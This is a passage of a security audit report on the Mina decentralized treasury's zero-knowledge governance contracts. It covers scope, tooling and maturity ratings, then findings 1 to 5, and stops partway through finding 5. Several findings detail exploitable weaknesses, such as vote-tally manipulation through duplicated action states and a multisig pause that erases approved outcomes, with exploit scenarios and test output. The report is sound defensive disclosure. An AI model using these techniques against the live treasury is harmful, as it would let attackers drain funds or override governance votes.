



Mina Decentralized Treasury

Security Assessment

June 12, 2026

Prepared for:

Matej Sima

Mina Foundation

Prepared by: **Samuel Moelius and Bo Henderson**

Table of Contents

Table of Contents	1
Project Summary	3
Executive Summary	4
Project Goals	7
Project Targets	8
Project Coverage	9
Automated Testing	11
Codebase Maturity Evaluation	13
Summary of Findings	16
Detailed Findings	17
1. Unpausing a proposal resets its status to UNKNOWN, discarding approval or rejection outcomes	17
2. Custom multisignature implementation baked into application code	20
3. Incomplete action state check allows a malicious prover to manipulate proposal outcomes	22
4. All-abstain voting permanently blocks proposal tally	25
5. No minimum proposal amount allows bond-free proposal spam	27
6. Signatures are not bound to a specific deployment, enabling cross-deployment replay	29
7. Multisignature circuit does not enforce participant key uniqueness	32
8. Unchecked actionStateHistoryTarget enables selective vote-tally exclusion	36
9. Incomplete error handling in deserialization methods	39
A. Vulnerability Categories	41
B. Code Maturity Categories	43
C. Non-Security-Related Recommendations	45
D. Static Code Analysis	51
E. Testing Recommendations	54
F. “TODO” Recommendations	61
G. Governance Economics and Incentive Design	68
H. Vote Discarding Integration Test	69
I. Fuzz Test	89
J. Fix Review Results	108
Detailed Fix Review Results	110
K. Fix Review Status Categories	113

About Trail of Bits	114
Notices and Remarks	115

Project Summary

Contact Information

The following project manager was associated with this project:

Tara Goodwin-Ruffus, Project Manager
tara.goodwin-ruffus@trailofbits.com

The following engineering director was associated with this project:

Benjamin Samuels, Engineering Director, Blockchain
benjamin.samuels@trailofbits.com

The following consultants were associated with this project:

Samuel Moelius, Consultant **Bo Henderson**, Consultant
samuel.moelius@trailofbits.com bo.henderson@trailofbits.com

Project Timeline

The significant events and milestones of the project are listed below.

Date	Event
March 9, 2026	Pre-project kickoff call
March 25, 2026	Status update meeting #1
April 2, 2026	Delivery of report draft
April 7, 2026	Report readout meeting
April 22, 2026	Delivery of final comprehensive report
June 12, 2026	Delivery of final comprehensive report with fix review

Executive Summary

Engagement Overview

Mina Foundation engaged Trail of Bits to review the security of its decentralized treasury.

The Mina decentralized treasury is an on-chain governance system for the Mina protocol. It enables the community to propose, vote on, and execute treasury expenditures. Token holders submit proposals specifying a recipient and an amount and post a bond equal to 10% of the requested value. The system progresses through a multiphase lifecycle of approximately eight weeks: proposal submission, exploration, voting, and cooldown. The system is implemented using o1js's zero-knowledge proofs. A 3-of-5 multisignature pause controller provides an emergency mechanism to halt operations. The SDK under review implements the treasury owner contract, proposal contracts, vote reducer, pause controller, and supporting infrastructure, including Merkle tree-based voting ledgers.

A team of two consultants conducted the review from March 18 to March 31, 2026, for a total of four engineer-weeks of effort. Our testing efforts focused on ways an attacker could steal or lock up funds. With full access to source code and documentation, we performed static and dynamic testing of the codebase, using automated and manual processes.

Observations and Impact

The source code is still a work in progress. The code contains many "TODO" comments: 29 in the `provable` subdirectory, and more in the adjacent subdirectories. Some "TODO" comments are significant, such as one concerning an unaddressed overflow risk identified during a previous audit. The comment's suggested change is to replace a `UInt64` type with a `UInt128` type. The intrusive nature of this change, combined with the number of "TODO" comments overall, suggests that an additional review may be warranted.

The tests for this system are also a work in progress. The project's test suite does not cover many important cases. For example, no test takes a proposal through its entire lifecycle, from creation through execution. Since much of the code is focused on generating zero-knowledge proofs, the tests should cover every plausible, nontrivial edge case.

[Appendix E](#) summarizes the results and testing recommendations that were generated by running the `mewt` and `Necessist` mutation testing tools.

When Mina hard forks, the original holder of a smart contract's private key can redeploy the contract. Mina allows this so that the smart contract can be updated to take advantage of a new proving mechanism. However, the key holder could also redeploy a contract with entirely different logic. This is a concern for users who interact with the treasury: following a hard fork, anyone wanting to submit a new proposal must rederive the contract's verification key locally and check that it matches what appears on-chain, to ensure the code has not changed in a malicious way. Mina Foundation acknowledges this as a risk that

should be addressed in a future version of the protocol. Because it is a protocol-layer limitation, this risk will remain even if all bugs in the decentralized treasury are fixed.

We also identified several noteworthy economic and incentive design properties of the system that do not map cleanly to actionable recommendations. These include how the pause mechanism interacts with proposal voting windows, how concurrent proposals can collectively exhaust the treasury and leave bonds permanently locked, and how governance thresholds create an incentive to split large requests into smaller ones. These observations are collected in [appendix G](#).

Recommendations

Based on the codebase maturity evaluation and findings identified during the security review, Trail of Bits recommends that Mina Foundation take the following steps:

- **Remediate the findings disclosed in this report.** These findings should be addressed through direct fixes or broader refactoring efforts.
- **Remediate all open “TODO” comments.** See [appendix F](#) for analysis of and recommendations for each.
- **Expand and improve the project’s tests.** Much of the project’s code is dedicated to generating zero-knowledge proofs. Therefore, the test suite should cover every plausible, nontrivial edge case. [Appendix E](#) contains recommendations for improving the project’s tests.
- **Investigate ways of upgrading the protocol without falling back to signature checks.** [Mina’s documentation](#) is unclear as to whether all hard forks require smart contract owners to redeploy. The documentation specifically calls out non-backward-compatible protocol upgrades. But, clearly, backward-compatible upgrades will occur. Mina Foundation should investigate ways of performing such upgrades without requiring smart contract owners to redeploy.
- **Consider a reaudit.** The codebase contains many “TODO” comments. One of the “TODO” comments is for making changes to address a high-severity finding from a previous audit. Additionally, high-severity findings were found during this audit. The significance of the findings, combined with the number of “TODO” comments, suggests the code will need considerable revision. Mina Foundation should consider a reaudit once the changes are complete.

Finding Severities and Categories

The following tables provide the number of findings by severity and category.

EXPOSURE ANALYSIS

<i>Severity</i>	<i>Count</i>
High	2
Medium	1
Low	2
Informational	4
Undetermined	0

CATEGORY BREAKDOWN

<i>Category</i>	<i>Count</i>
Access Controls	1
Cryptography	1
Data Validation	6
Error Reporting	1

Project Goals

The engagement was scoped to provide a security assessment of the Mina decentralized treasury. Specifically, we sought to answer the following non-exhaustive list of questions:

- Can someone manipulate or extract funds in a way they should not be able to (e.g., through a malicious proposal or by exploiting the smart contracts)?
- Is it possible for the staking-ledger-to-voting-ledger circuit to produce a different Merkle root than the Mina protocol, thereby making tallying impossible and deadlocking the entire treasury?
- In what ways can an attacker grief the vote tallier (e.g., cause them to spend unnecessary computation)?
- Are the zero-knowledge circuits adequately tested?
- Do the system's tests check for the right conditions? For example, when a condition fails, does the test check why it failed?

Project Targets

The engagement involved reviewing and testing the following target.

decentralised-treasury

Repository	https://github.com/maht0rz/decentralised-treasury
Version	f0c463c5b48bc51d0557bb6597c34ae4791d4dc4
Type	TypeScript
Platform	Mina/o1js

Project Coverage

This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches included the following:

- **Documentation review:** We reviewed the following documents provided by the client:
 - “RFC: Mina Decentralised Treasury – Decentralized On-Chain Community Treasury”: The protocol design specification
 - “zkSecurity Audit of Mina’s Decentralised Treasury”: A prior audit report, which we cross-referenced to avoid duplicating work and to assess whether any findings had been incorrectly or incompletely resolved
 - “2026-02-27 Mina Treasury Vote Throughput Analysis”: A capacity analysis focused on vote throughput constraints relative to the Mina staking ledger size
- **Build and test verification:** We verified that the target codebase builds and that the test suite passes.
- **Automated static analysis:** We ran Semgrep against the TypeScript codebase using nine rulesets, including Trail of Bits’ private ruleset and several third-party security-focused rulesets. We also built a CodeQL database and ran the standard security-and-quality query suite. Findings from both tools were triaged and cross-referenced against each other. Additional details are provided in [appendix D](#).
- **AI-assisted codebase exploration:** We ran multiple campaigns of an internal AI static analysis tool against the in-scope provable source files. The first run produced a documentation knowledge base summarizing the codebase architecture and surfaced several high-priority hypotheses for investigation. The second run yielded additional leads, which we manually reviewed and triaged.
- **Mutation testing:** We configured mewt and ran mutation testing campaigns against the in-scope provable source files. We used the results to identify regions of the code, such as the VoteReducer ZkProgram, that lacked sufficient tests to focus subsequent manual review.
- **Necessist campaign:** We set up a Necessist campaign targeting the provable test suite. This required implementing a new framework adapter for Necessist since the project uses Node’s native node : test runner rather than a supported framework.
- **Manual code review:** We performed a manual review of all files in target/packages/sdk/src/provable/, with particular focus on

TreasuryOwnerSmartContract (fund disbursement logic, permission configuration, and proof-chain continuity), TreasuryProposalSmartContract (on-chain vote submission, action dispatch, and permission model), the VoteReducer ZkProgram (action-state uniqueness enforcement, proof merge logic, and tally correctness), TreasuryPauseControllerSmartContract (pause/unpause logic and interaction with proposal state), the multisignature threshold verification and signature handling in `multisig-signatures.ts`, the Merkle tree implementation in `prefixed-merkle-tree.ts`, the staking-ledger-to-voting-ledger ZkProgram, and account deserialization in `account.ts`. We also catalogued every “TODO” comment in the in-scope code, assessed their security relevance, and cross-referenced each to related audit artifacts.

Coverage Limitations

Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. The following list outlines the coverage limitations of the engagement and indicates system elements that may warrant further review:

- We focused entirely on the `provable` subdirectory of the project.
- We selectively read code in adjacent subdirectories of the `sdk` package, but only to the extent necessary for us to understand the code in the `provable` subdirectory.

Automated Testing

Trail of Bits uses automated techniques to extensively test the security properties of software. We use both open-source static analysis and fuzzing utilities, along with tools developed in-house, to perform automated testing of source code and compiled software.

Test Harness Configuration

We used the following tools in the automated testing phase of this project:

Tool	Description	Policy
Semgrep	An open-source static analysis tool for finding bugs and enforcing code standards when editing or committing code and during build time	Appendix D
CodeQL	A code analysis engine developed by GitHub to automate security checks	Appendix D
Mewt	A mutation testing tool that makes small changes (mutations) to source code, like replacing <code>+</code> with <code>-</code> or swapping <code>true</code> for <code>false</code> , and then running the test suite against each change. Passing tests are said to have “survived” and indicate a gap in the tests.	Appendix D
Necessist	A framework that runs tests with statements and method calls removed to help identify broken tests	Appendix D

Mutation Testing

See [appendix E](#) for a summary of the mutation testing results and associated testing recommendations.

Fuzzing

We used property-based fuzzing with [fast-check](#) to test all pure functions in the [src/provable](#) subdirectory. The test harness generates random inputs for 30 functions across seven files, covering hashing, serialization, bit-packing, Merkle witness computation, vote validation, multisignature commitment construction, and treasury acceptance criteria arithmetic.

The fuzzing identified two issues. First, [Account.fromJSON](#) crashes with an uncaught `TypeError` when it receives a JSON primitive, despite being documented to return an empty account on any invalid input ([TOB-MINA-9](#)). The delegate fixup logic runs before the

try/catch block and attempts to assign a property on the primitive value. Second, `calculateAcceptanceCriteria` overflows `UInt64` when the proposal amount exceeds approximately 1.8 quadrillion nanomina. The fast-check shrinking algorithm reduced the counterexample to `(1844674407370956, 1)`, confirming the overflow threshold noted in the existing `"TODO" comment`.

See [appendix I](#) for the implementation of this fuzz harness.

The following categories of functions were not fuzzed because they require on-chain state or proof infrastructure that cannot be supplied in a unit test context:

- `@method`-decorated functions on `SmartContract` subclasses, which depend on `State<T>.getAndRequireEquals` and `AccountUpdate` objects
- `ZkProgram` methods that use `Provable.witnessAsync` with external context providers
- `ZkProgram` merge methods that call `.verify` on `SelfProof` objects

Codebase Maturity Evaluation

Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs.

Category	Summary	Result
Arithmetic	The codebase performs governance-critical arithmetic using <code>o1js UInt64</code> types without overflow protection for intermediate multiplication results. The <code>calculateAcceptanceCriteria</code> method multiplies proposal amounts by <code>BASIS_POINTS</code> (10,000) before dividing, which can overflow <code>UInt64</code> values for proposal amounts exceeding approximately $1.8 * 10^{15}$. A <code>"TODO" comment</code> acknowledges the risk, but no mitigation exists. This is a finding from a previous audit report.	Weak
Auditing	This system does not emit any on-chain events. The codebase uses <code>Provable.log</code> for observability, but <code>Provable.log</code> runs only in the prover's local process and is invisible to external monitors, indexers, and block explorers. Its use is also inconsistent: deserialization errors for <code>VoteAction</code> are logged, while deserialization errors for <code>Account</code> are silently suppressed.	Weak
Authentication / Access Controls	The <code>vote method</code> lacks voter eligibility validation. A <code>"TODO" comment</code> acknowledges the need for "some form of spam prevention," but no such check exists. Some methods such as <code>receive</code> lack access controls, though account-level permissions mitigate the impact.	Moderate
Complexity Management	Naming conventions are consistent, using PascalCase for classes and camelCase for methods throughout, as is customary for TypeScript. Several functions exceed recommended complexity thresholds. The <code>reduceBatch method</code> spans 184 lines with five levels of nesting, combining action processing, nullifier checks, vote tallying, and ledger updates in a single function. The <code>parseStakingLedgerAccount function</code> reaches six levels of nesting through nested ternary operators within	Satisfactory

	object construction. The <code>tallyVotes</code> method exceeds 100 lines.	
Cryptography and Key Management	The codebase contains a <code>multisignature implementation</code> that arguably should be in a separate codebase. <code>Commitment verification</code> for multisignature participants hashes all public keys with Poseidon to produce a single on-chain commitment, binding signatures to the exact participant set. The multisignature test suite covers over 50 failure scenarios, including threshold failures, data mismatches, commitment ordering, empty participants, shifted indices, and cross-method collision detection. The codebase delegates all cryptographic primitives to the o1js library. Signature verification uses o1js EdDSA (<code>Signature.verify</code>), and all hashing uses Poseidon with domain-separated prefixes.	Satisfactory
Decentralization	The system distributes authority across three roles: the treasury owner contract (proposal lifecycle management), the pause controller (emergency operations via 3-of-5 multisignature), and voters (governance decisions). The <code>lifecycle period system</code> enforces a structured governance timeline with approximately two-week periods (7,140 slots) for proposal, exploration, voting, and cooldown phases. Proposal execution and vote tallying can occur only in the cooldown period, and any account can trigger these operations once conditions are met, avoiding execution centralization.	Satisfactory
Documentation	The SDK <code>README.md</code> contains only operational setup instructions for the o1js fork and <code>lightnet</code> commands. No specification document, white paper, or formal description of the governance model exists in the repository. The acceptance criteria curve, lifecycle period design, and bond mechanism lack any written rationale or mathematical specification. No architecture diagrams, component interaction diagrams, or data flow documentation exists. Inline documentation is sparse and inconsistent. For example, <code>TreasuryOwnerSmartContract</code> and <code>TreasuryProposalSmartContract</code> lack JSDoc comments on critical public methods. The codebase contains 29 unresolved “TODO” comments, including	Moderate

	acknowledged overflow risks, missing spam prevention, and incomplete precision handling. Mina Foundation made clear to us that this project does not make any claims to privacy. However, this should be made clear in the project's public documentation so that voters do not misbelieve their votes are private.	
Low-Level Manipulation	The codebase operates at the zero-knowledge circuit level, where raw <code>Field</code> arithmetic, manual witness introduction, and explicit constraint construction serve as the equivalent of assembly in conventional systems. The <code>conditionalSwap</code> function in the Merkle tree implementation uses direct field multiplication and addition instead of two <code>Provable.if()</code> calls, with an inline comment justifying the optimization. The <code>packToFields</code> function manually packs account data into field elements using a custom bit-shifting accumulator built on raw <code>Field.mul</code> and <code>Field.add</code> operations. The associated <code>pow2</code> helper computes powers of two through iterative field multiplication. No issues were identified in the aforementioned low-level code.	Satisfactory
Testing and Verification	The codebase lacks code coverage tracking (no coverage tools or configuration), property-based fuzzing infrastructure, and a CI/CD pipeline (no <code>.github/workflows/</code> or equivalent). The arithmetic tests use only predetermined values that avoid overflow boundaries and precision loss scenarios. Proof compilation runs only when the <code>PROOFS_ENABLED</code> environment variable is set, meaning the default test run does not validate zero-knowledge circuit constraints. Appendix E contains recommendations for improving the project's test suite.	Weak
Transaction Ordering	Mina's architecture settles transactions via SNARK proofs within slots rather than through a traditional mempool-based transaction ordering model. There are inherent race conditions in this model where two actors can try to submit a transaction, but only one can succeed. But those issues are specific to the Mina blockchain as a whole, not the decentralized treasury.	Not Applicable

Summary of Findings

The table below summarizes the findings of the review, including details on type and severity.

ID	Title	Type	Severity
1	Unpausing a proposal resets its status to UNKNOWN, discarding approval or rejection outcomes	Data Validation	Informational
2	Custom multisignature implementation baked into application code	Access Controls	Informational
3	Incomplete action state check allows a malicious prover to manipulate proposal outcomes	Data Validation	High
4	All-abstain voting permanently blocks proposal tally	Data Validation	Low
5	No minimum proposal amount allows bond-free proposal spam	Data Validation	Low
6	Signatures are not bound to a specific deployment, enabling cross-deployment replay	Cryptography	Medium
7	Multisignature circuit does not enforce participant key uniqueness	Data Validation	Informational
8	Unchecked <code>actionStateHistoryTarget</code> enables selective vote-tally exclusion	Data Validation	High
9	Incomplete error handling in deserialization methods	Error Reporting	Informational

Detailed Findings

1. Unpausing a proposal resets its status to UNKNOWN, discarding approval or rejection outcomes

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-MINA-1

Target:

packages/sdk/src/provable/contracts/treasury-proposal/treasury-proposal.ts, packages/sdk/src/provable/contracts/treasury-owner.ts

Description

The togglePause method in TreasuryProposalSmartContract overwrites the proposal's status state field (figure 1.1) when pausing the proposal and does not preserve the original value. When a proposal is unpaused, its status is unconditionally set to ProposalStatus.UNKNOWN (0), regardless of what the status was before pausing. This means that pausing and then unpausing an APPROVED or REJECTED proposal permanently discards the vote outcome.

```
export class ProposalStatus extends Field {  
  public static UNKNOWN = Field(0);  
  public static APPROVED = Field(1);  
  public static REJECTED = Field(2);  
  public static PAUSED = Field(3);  
}
```

Figure 1.1: Possible values of a proposal's status field

([decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/treasury-proposal.ts#L50-L55](#))

The status field serves two purposes: it tracks both the governance outcome (UNKNOWN, APPROVED, REJECTED) and the pause state (PAUSED). The togglePause method uses Provable.if to alternate between PAUSED and UNKNOWN, with no mechanism to remember or restore the pre-pause status (figure 1.2):

```
@method  
public async togglePause() {  
  const status = this.status.getAndRequireEquals();  
  // if paused, unpause it, if not paused, pause it  
  const newStatus = Provable.if(  
    status.equals(ProposalStatus.PAUSED),
```

```

        ProposalStatus.UNKNOWN,
        ProposalStatus.PAUSED,
    );

    this.status.set(newStatus);
}

```

Figure 1.2: The `togglePause` method unconditionally resets the status to UNKNOWN on unpause. ([decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/treasury-proposal.ts#L322-L333](#))

Additionally, `togglePauseProposal` in `TreasuryOwnerSmartContract` (figure 1.3) does not enforce any lifecycle period restriction and does not check whether the treasury itself is paused. The multisignature scheme can invoke it at any time:

```

@method
public async togglePauseProposal(
    proposalPublicKey: PublicKey,
    signatures: MultisigSignatures,
    nonce: UInt32,
) {
    const proposal = new TreasuryProposalSmartContract(
        proposalPublicKey,
        this.deriveTokenId(),
    );

    const pauseController = new TreasuryPauseControllerSmartContract(
        this.pauseControllerPublicKey.getAndRequireEquals(),
    );

    await pauseController.togglePauseProposal(
        proposalPublicKey,
        signatures,
        nonce,
    );

    await proposal.togglePause();

    this.approve(proposal.self);
}

```

Figure 1.3: The `togglePauseProposal` method has no lifecycle period check. ([decentralised-treasury/packages/sdk/src/provable/contracts/treasury-owner.ts#L358-L382](#))

Mina pointed out that, if an approved or rejected proposal is unpaused while the cooldown period is still active, its vote tally can be resubmitted to restore the proposal to its accepted or rejected state. We verified that this claim was correct. However, because `togglePauseProposal` has no lifecycle restriction, the multisignature scheme can hold

the proposal paused until the cooldown window closes and then unpause it, rendering re-tallying permanently impossible.

Exploit Scenario

A governance proposal passes the vote tally with APPROVED status, entitling the recipient to receive treasury funds. Three of the five multisignature participants (the minimum required threshold) collude to veto the outcome. Because `togglePauseProposal` has no lifecycle restriction, the multisignature holders call it near the end of the cooldown period to pause the approved proposal and hold it paused until the cooldown window closes. They then call `togglePauseProposal` a second time to unpause it. The proposal's status is now UNKNOWN instead of APPROVED. Because `tallyVotes` can be called only during the cooldown period, which has now expired, the proposal cannot be re-tallied. The approved payout is permanently blocked, and the proposer's bond cannot be recovered through the normal execution flow. The multisignature participants have effectively overridden a legitimate governance vote using an emergency mechanism not intended for this purpose.

Recommendations

Short term, store the pre-pause status in a separate state field (e.g., `prePauseStatus`). Update `togglePause` to save the current status before overwriting it with PAUSED when pausing and to restore the saved value instead of hard-coding UNKNOWN when unpausing. The `TreasuryProposalSmartContract` currently uses seven of eight available on-chain state fields, so one slot remains for this addition. This will prevent the issue because the vote outcome will be preserved across pause and unpause transitions.

Long term, separate the pause flag from the governance outcome by using a dedicated `Bool` state field for the paused state, similar to how `TreasuryPauseControllerSmartContract` tracks its own pause status independently. This will prevent the issue because the status field would only ever hold governance outcomes (UNKNOWN, APPROVED, REJECTED), eliminating the possibility of state corruption through overloading a single field with two distinct concerns.

2. Custom multisignature implementation baked into application code

Severity: Informational

Difficulty: Undetermined

Type: Access Controls

Finding ID: TOB-MINA-2

Target:

packages/sdk/src/provable/contracts/treasury-pause-controller/multisig-signatures.ts,
packages/sdk/src/provable/contracts/treasury-pause-controller/treasury-pause-controller.ts

Description

The treasury system implements a custom 3-of-5 multisignature scheme directly in its smart contract code (figure 2.1). The participant count and signature threshold are hard-coded as module-level constants.

```
// total number of multisig participants
export const MULTISIG_PARTICIPANTS_COUNT = 5;
// minimum number of valid signatures required
export const MIN_VALID_MULTISIG_SIGNATURES_COUNT = 3;
```

Figure 2.1: Hard-coded multisignature constants

(*decentralised-treasury/packages/sdk/src/provable/contracts/treasury-pause-controller/multisig-signatures.ts#L17-L20*)

The multisignature scheme is baked into the application code rather than delegated to a well-audited, external multisignature contract. This is uncommon; most projects either use a single privileged signer or delegate to an established multisignature wallet. A custom implementation introduces a larger surface for subtle errors in signature verification, threshold enforcement, and key rotation logic.

The multisignature scheme controls pause and unpause operations for the entire treasury and for individual proposals, and it controls key rotation itself. These are the most privileged operations in the system.

There are currently no widely used, mature multisignature wallets for Mina, which motivated this decision.

Exploit Scenario

A subtle bug in the custom signature verification logic allows an attacker to bypass the 3-of-5 threshold under certain conditions. Because the multisignature scheme is

implemented inline rather than delegated to a battle-tested contract, the bug is not caught by existing tooling or prior audits of standard multisignature implementations.

Recommendations

Short term, review the custom multisignature implementation for correctness in signature verification, threshold enforcement, and key rotation logic. Ensuring their correctness will reduce the risk of subtle errors in the most privileged operations of the system.

Long term, consider delegating privileged operations to an established, independently audited multisignature contract rather than implementing custom signature verification logic. This will reduce the surface for errors in threshold enforcement and key management, and provide users with a familiar trust model.

References

- [zkapp-multisig-wallet](#)

3. Incomplete action state check allows a malicious prover to manipulate proposal outcomes

Severity: **High**

Difficulty: **High**

Type: Data Validation

Finding ID: TOB-MINA-3

Target: `packages/sdk/src/provable/contracts/treasury-owner.ts`,
`packages/sdk/src/provable/contracts/treasury-proposal/vote-reducer.ts`

Description

A malicious prover can selectively discard votes when calling `tallyVotes`, manipulating the outcome of a treasury proposal. The uniqueness check in `tallyVotes` (figure 3.1) has two independent weaknesses, each sufficient on its own to bypass the intended uniqueness requirement.

```
// ensure all 5 action states are unique
actionState.hash
  .equals(previousActionState)
  .not()
  .or(actionState.hash.equals(Reducer.initialActionState))
  .assertTrue("Action state hash must be unique, or the initial action state");
```

Figure 3.1: Consecutive uniqueness check in `tallyVotes`

(*decentralised-treasury/packages/sdk/src/provable/contracts/treasury-owner.ts#L301-L308*)

The left-hand side of the disjunction compares each entry only to the one immediately before it, allowing non-adjacent duplicates. The right-hand side passes unconditionally for any slot equal to `Reducer.initialActionState`. Either weakness alone enables the attacker to control which votes are counted.

The Mina protocol stores five action state snapshots per account. Each snapshot is a cumulative Poseidon hash of all vote actions dispatched up to the corresponding block boundary. The prover submits five entries that must each match one of these on-chain snapshots. The first entry, `actionStateOne`, determines the endpoint of the tally: `toActionsHash` must equal `actionStateOne.hash`, so the `VoteReducer` processes votes only up to that action state (figure 3.2). However, the prover is free to choose which snapshot to use as `actionStateOne`. For example, given on-chain action states `[S5, S4, S3, S2, S1]`, an attacker could set `actionStateOne` to `S4` (ignoring all votes in `S5`) and fill the remaining four entries with `[S3, S2, S1, S2]`, reusing `S2` in a non-adjacent position.

```

voteReducerProof.publicOutput.toActionsHash
  .equals(voteReducerProof.publicOutput.actionStateHistory.actionStateOne.hash)
  .assertTrue("toActionsHash does not match action state one hash");

```

*Figure 3.2: Constraint binding the tally endpoint to actionStateOne
([decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/treasury-proposal.ts#L217-L221](#))*

A third validation layer also fails to prevent this attack. Each entry is checked for the found status by the VoteReducer, which marks a target as found whenever toActionsHash equals the target hash at any point during the linear traversal of vote actions (figure 3.3). Because the duplicated entry refers to a real on-chain action state that the reducer encounters during traversal, it is marked as found despite being reused.

```

for (const actionStateKey of Object.keys(actionStateHistory)) {
  const actionStateTargetHash: ActionStateHistoryTarget[keyof
ActionStateHistoryTarget] =
    actionStateHistoryTarget[actionStateKey as keyof ActionStateHistoryTarget];

  const foundPreviously =
    actionStateHistory[actionStateKey as keyof ActionStateHistory].found;

  const found = toActionsHash.equals(actionStateTargetHash);

  actionStateHistory[actionStateKey as keyof ActionStateHistory].found =
    Provable.if(foundPreviously, foundPreviously, found);
}

```

*Figure 3.3: VoteReducer marks action state targets as found during traversal.
([decentralised-treasury/packages/sdk/src/provable/contracts/treasury-proposal/vote-reducer.ts#L600-L615](#))*

The initialActionState bypass works similarly but does not require non-adjacent duplicates of real action states. The VoteReducer begins with toActionsHash equal to Reducer.initialActionState. When an attacker sets four of the five target slots to that value (e.g., [S1, init, init, init, init]), the found-flag logic marks all four as found before any votes are processed. After processing only the first tranche (advancing toActionsHash from init to S1), the remaining slot is also marked as found. This bypass requires initialActionState to remain in the proposal account's on-chain action state history, which holds whenever fewer than five distinct blocks contain vote actions during the voting period.

Since tallyVotes can be called only once per proposal, the first prover to submit a tally determines the result. The attack is symmetric: discarding late NAY votes flips a rejection to an approval, and discarding late YAY votes flips an approval to a rejection.

We confirmed the first attack with a modified integration test (see [appendix H](#)). The test casts six votes (five YAY, one NAY with higher balance) and shows that the attacker's truncated proof flips the result from REJECTED to APPROVED, after which the proposal executes (figure 3.4).

```
=== Honest proof (all 6 votes) ===
Honest tally: YAY=500 NAY=600 ABSTAIN=0
=====

=== Attacker proof (votes 1-5 only) ===
Attacker tally: YAY=500 NAY=0 ABSTAIN=0
=====

ok 11 - should tally votes (attacker proof excludes vote 6)
ok 12 - should execute a proposal
# tests 12
# pass 12
# fail 0
```

Figure 3.4: Test output showing the honest tally (REJECTED) versus the attacker tally (APPROVED)

Exploit Scenario

An attacker creates a treasury proposal requesting a payout to an address they control. During the voting period, a majority of voting power votes NAY. The attacker observes all votes on-chain and determines that excluding the final block of votes would flip the result to APPROVED. After the voting period ends, the attacker generates a `VoteReducer` proof off-chain that processes votes only up to an older action state, constructs an action state history with a non-adjacent duplicate to fill the five required entries, and submits the tally to `tallyVotes`. The contract accepts the proof and marks the proposal as APPROVED, and the attacker calls `executeProposal` to drain the requested amount from the treasury.

Recommendations

Short term, enforce in-circuit that all five action-state targets are pairwise distinct, and remove the `Reducer.initialActionState` exception from the uniqueness predicate, as this would provide a trustless way for provers to influence vote outcomes for unfavorable vote batches. Because Mina tracks five action-state snapshots, this would also introduce a liveness/participation requirement that proposals receive actions in at least five distinct voting-window blocks. However, this requirement can be satisfied by manually casting additional dummy votes in cases where organic activity is insufficient.

Long term, add integration tests that verify `tallyVotes` rejects proofs with duplicate action state history entries, including non-adjacent duplicates and `Reducer.initialActionState` padding patterns. This will prevent regressions if the validation logic is modified in the future.

4. All-abstain voting permanently blocks proposal tally

Severity: Low

Difficulty: High

Type: Data Validation

Finding ID: TOB-MINA-4

Target:
packages/sdk/src/provable/contracts/treasury-proposal/treasury-proposal.ts

Description

The tallyVotes method of TreasuryProposalSmartContract fails to tally when all participating voters abstain, permanently locking the proposer's bond.

The participation threshold counts ABSTAIN votes alongside YAY and NAY votes:

```
const totalParticipatingVotes = yay.add(nay).add(abstain);
```

*Figure 4.1: ABSTAIN votes contribute to the participation threshold.
([decentralised-treasury/treasury-proposal.ts#L249](#))*

Once the participation threshold passes, the code computes the approval ratio using only YAY and NAY votes:

```
const totalVotes = yay.add(nay);  
totalVotes.greaterThan(UInt64.from(0)).assertTrue("No approval votes cast");  
const approvalBp = yay.mul(BASIS_POINTS).div(totalVotes);
```

*Figure 4.2: The assertion fails inside the circuit when all votes are ABSTAIN.
([decentralised-treasury/treasury-proposal.ts#L271-L273](#))*

When yay and nay are both zero, the assertion triggers inside the ZkProgram circuit, so proof generation fails entirely rather than simply rejecting a submitted transaction. No valid tallyVotes proof can be constructed, and the proposal freezes in UNKNOWN status indefinitely.

The proposer's bond is collected at proposal creation and can be returned only through the execute method, which requires ProposalStatus.APPROVED:

```
status.equals(ProposalStatus.APPROVED).assertTrue("Proposal not approved");
```

*Figure 4.3: Bond recovery requires APPROVED status, which a stuck proposal can never reach.
([decentralised-treasury/treasury-proposal.ts#L301](#))*

The contract system has no cancel, expire, or refund path, so the failure to tally votes is permanent. This condition arises naturally whenever a proposal attracts only abstaining voters.

Exploit Scenario

An attacker who controls at least 20% of the total staked voting weight submits an ABSTAIN vote against a low-engagement proposal. No other voters participate during the voting period. When anyone attempts to call `tallyVotes` after the voting period, proof generation fails at the `totalVotes.greaterThan(0)` assertion because `yay` and `nay` are both zero; no valid proof can be produced and no `tallyVotes` transaction can reach the chain. The proposal is effectively rejected but permanently stuck in UNKNOWN status rather than REJECTED, leaving it unresolvable and liable to be misrepresented by interfaces or tooling that treats UNKNOWN as a pending state.

Recommendations

Short term, replace the hard assertion with a conditional assignment that sets `approvalBp` to zero when `totalVotes` is zero, then allow the existing approval-threshold comparison (`approvalBp.greaterThanOrEqual(requiredApprovalBp)`) to handle the outcome. An all-ABSTAIN vote would produce an approval ratio of 0%, which falls below every possible `requiredApprovalBp` value, marking the proposal REJECTED normally. Proof generation would then succeed for any YAY/NAY/ABSTAIN split, eliminating the stuck-proposal state.

Long term, audit the tally logic for other vote distributions that may fail to produce a valid terminal status. The all-ABSTAIN case is one instance of a broader class of edge cases where the circuit's preconditions may not be satisfied for every valid input; a systematic review would ensure every reachable vote distribution resolves to either APPROVED or REJECTED.

5. No minimum proposal amount allows bond-free proposal spam

Severity: Low

Difficulty: Low

Type: Data Validation

Finding ID: TOB-MINA-5

Target: packages/sdk/src/provable/contracts/treasury-owner.ts,
packages/sdk/src/provable/contracts/treasury-constants.ts

Description

`createProposal` computes the bond as `proposal.amount / BOND_AMOUNT_DIVISOR` using integer division, without enforcing a minimum proposal amount. Because `BOND_AMOUNT_DIVISOR` is 10, any proposal with an amount less than 10 nanomina produces a bond of zero, allowing the proposer to submit governance proposals at no cost.

```
const bondAmount = proposal.amount.div(BOND_AMOUNT_DIVISOR);  
this.self.balance.addInPlace(bondAmount);
```

*Figure 5.1: Bond calculation with no minimum amount enforcement
([decentralised-treasury/treasury-owner.ts#L167-L168](#))*

